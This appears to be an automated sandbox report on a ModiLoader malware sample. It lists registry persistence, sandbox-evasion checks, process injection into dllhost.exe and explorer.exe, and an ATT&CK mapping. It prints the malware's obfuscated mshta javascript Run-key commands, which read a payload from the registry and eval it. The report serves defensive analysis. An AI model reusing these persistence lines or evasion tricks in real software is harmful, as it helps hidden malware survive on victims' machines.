modiloader | d5e28bc1de03c7939b8d81ecc4b0bea093b72e9c60339f261a446aeb465a1e87

Modify Registry

Processes:

dllhost.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	dllhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:JnBUEE6Xz=\"2q\";A5M9=new%20ActiveXObject(\"WScript.Shell\");hj3otJ2LHv=\"x1J8c9eJ\";GM1Cw=A5M9.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\947ee166\\\\c7f17123\");YkbCPb6H=\"30DPzc\";eval(GM1Cw);kItHKp71qI=\"T\";"	dllhost.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

dllhost.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools dllhost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	dllhost.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

dllhost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	dllhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	dllhost.exe

Deletes itself 1 IoCs

Processes:

dllhost.exe

pid process

3340 dllhost.exe

pid	process
3340	dllhost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

Processes:

dllhost.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:tKgurWTv6=\"66llyRY4h\";F1I9=new%20ActiveXObject(\"WScript.Shell\");KF1Yf1WbdF=\"B1x\";LIE0C7=F1I9.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\947ee166\\\\c7f17123\");EEY4Xt4eUP=\"iLe\";eval(LIE0C7);D3OnUln0=\"JE5MUeC2Ri\";"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:dv28gyvywS=\"ct\";AG7=new%20ActiveXObject(\"WScript.Shell\");sOHDlt3B=\"x8x5WN3ZM\";Nv4fd=AG7.RegRead(\"HKCU\\\\software\\\\947ee166\\\\c7f17123\");XQFv8eWp7=\"dQe96Ppaj\";eval(Nv4fd);deQNbmMZ7=\"wAYtH\";"	dllhost.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

dllhost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	dllhost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	dllhost.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

VirusShare_57f31c548338dafc94432d4683faeed0.exe

description	pid	process	target process
PID 2548 set thread context of 3684	2548	VirusShare_57f31c548338dafc94432d4683faeed0.exe	VirusShare_57f31c548338dafc94432d4683faeed0.exe

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

Processes:

dllhost.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Internet Explorer\International	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

VirusShare_57f31c548338dafc94432d4683faeed0.exedllhost.exe

pid	process
2548	VirusShare_57f31c548338dafc94432d4683faeed0.exe
2548	VirusShare_57f31c548338dafc94432d4683faeed0.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe

Suspicious behavior: MapViewOfSection 12 IoCs

Processes:

VirusShare_57f31c548338dafc94432d4683faeed0.exedllhost.exedllhost.exe

pid	process
3684	VirusShare_57f31c548338dafc94432d4683faeed0.exe
3684	VirusShare_57f31c548338dafc94432d4683faeed0.exe
3684	VirusShare_57f31c548338dafc94432d4683faeed0.exe
3988	dllhost.exe
3988	dllhost.exe
3988	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe
3340	dllhost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

VirusShare_57f31c548338dafc94432d4683faeed0.exe

pid process

2548 VirusShare_57f31c548338dafc94432d4683faeed0.exe

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

VirusShare_57f31c548338dafc94432d4683faeed0.exeVirusShare_57f31c548338dafc94432d4683faeed0.exedllhost.exedllhost.exe

description	pid	process	target process
PID 2548 wrote to memory of 3684	2548	VirusShare_57f31c548338dafc94432d4683faeed0.exe	VirusShare_57f31c548338dafc94432d4683faeed0.exe
PID 2548 wrote to memory of 3684	2548	VirusShare_57f31c548338dafc94432d4683faeed0.exe	VirusShare_57f31c548338dafc94432d4683faeed0.exe
PID 2548 wrote to memory of 3684	2548	VirusShare_57f31c548338dafc94432d4683faeed0.exe	VirusShare_57f31c548338dafc94432d4683faeed0.exe
PID 2548 wrote to memory of 3684	2548	VirusShare_57f31c548338dafc94432d4683faeed0.exe	VirusShare_57f31c548338dafc94432d4683faeed0.exe
PID 2548 wrote to memory of 3684	2548	VirusShare_57f31c548338dafc94432d4683faeed0.exe	VirusShare_57f31c548338dafc94432d4683faeed0.exe
PID 2548 wrote to memory of 3684	2548	VirusShare_57f31c548338dafc94432d4683faeed0.exe	VirusShare_57f31c548338dafc94432d4683faeed0.exe
PID 2548 wrote to memory of 3684	2548	VirusShare_57f31c548338dafc94432d4683faeed0.exe	VirusShare_57f31c548338dafc94432d4683faeed0.exe
PID 2548 wrote to memory of 3684	2548	VirusShare_57f31c548338dafc94432d4683faeed0.exe	VirusShare_57f31c548338dafc94432d4683faeed0.exe
PID 2548 wrote to memory of 3684	2548	VirusShare_57f31c548338dafc94432d4683faeed0.exe	VirusShare_57f31c548338dafc94432d4683faeed0.exe
PID 2548 wrote to memory of 3684	2548	VirusShare_57f31c548338dafc94432d4683faeed0.exe	VirusShare_57f31c548338dafc94432d4683faeed0.exe
PID 2548 wrote to memory of 3684	2548	VirusShare_57f31c548338dafc94432d4683faeed0.exe	VirusShare_57f31c548338dafc94432d4683faeed0.exe
PID 3684 wrote to memory of 3988	3684	VirusShare_57f31c548338dafc94432d4683faeed0.exe	dllhost.exe
PID 3684 wrote to memory of 3988	3684	VirusShare_57f31c548338dafc94432d4683faeed0.exe	dllhost.exe
PID 3684 wrote to memory of 3988	3684	VirusShare_57f31c548338dafc94432d4683faeed0.exe	dllhost.exe
PID 3988 wrote to memory of 3340	3988	dllhost.exe	dllhost.exe
PID 3988 wrote to memory of 3340	3988	dllhost.exe	dllhost.exe
PID 3988 wrote to memory of 3340	3988	dllhost.exe	dllhost.exe
PID 3340 wrote to memory of 2532	3340	dllhost.exe	dllhost.exe
PID 3340 wrote to memory of 2532	3340	dllhost.exe	dllhost.exe
PID 3340 wrote to memory of 2532	3340	dllhost.exe	dllhost.exe
PID 3340 wrote to memory of 5032	3340	dllhost.exe	explorer.exe
PID 3340 wrote to memory of 5032	3340	dllhost.exe	explorer.exe
PID 3340 wrote to memory of 5032	3340	dllhost.exe	explorer.exe

C:\Users\Admin\AppData\Local\Temp\VirusShare_57f31c548338dafc94432d4683faeed0.exe
"C:\Users\Admin\AppData\Local\Temp\VirusShare_57f31c548338dafc94432d4683faeed0.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2548

C:\Users\Admin\AppData\Local\Temp\VirusShare_57f31c548338dafc94432d4683faeed0.exe
C:\Users\Admin\AppData\Local\Temp\VirusShare_57f31c548338dafc94432d4683faeed0.exe
2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3684

C:\Windows\SysWOW64\dllhost.exe
dllhost.exe
3⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3988

C:\Windows\SysWOW64\dllhost.exe
dllhost.exe
4⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3340

C:\Windows\SysWOW64\dllhost.exe
"C:\Windows\SysWOW64\dllhost.exe"
5⤵
PID:2532

C:\Windows\SysWOW64\explorer.exe
explorer.exe
5⤵
PID:5032

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

3

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

Software Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion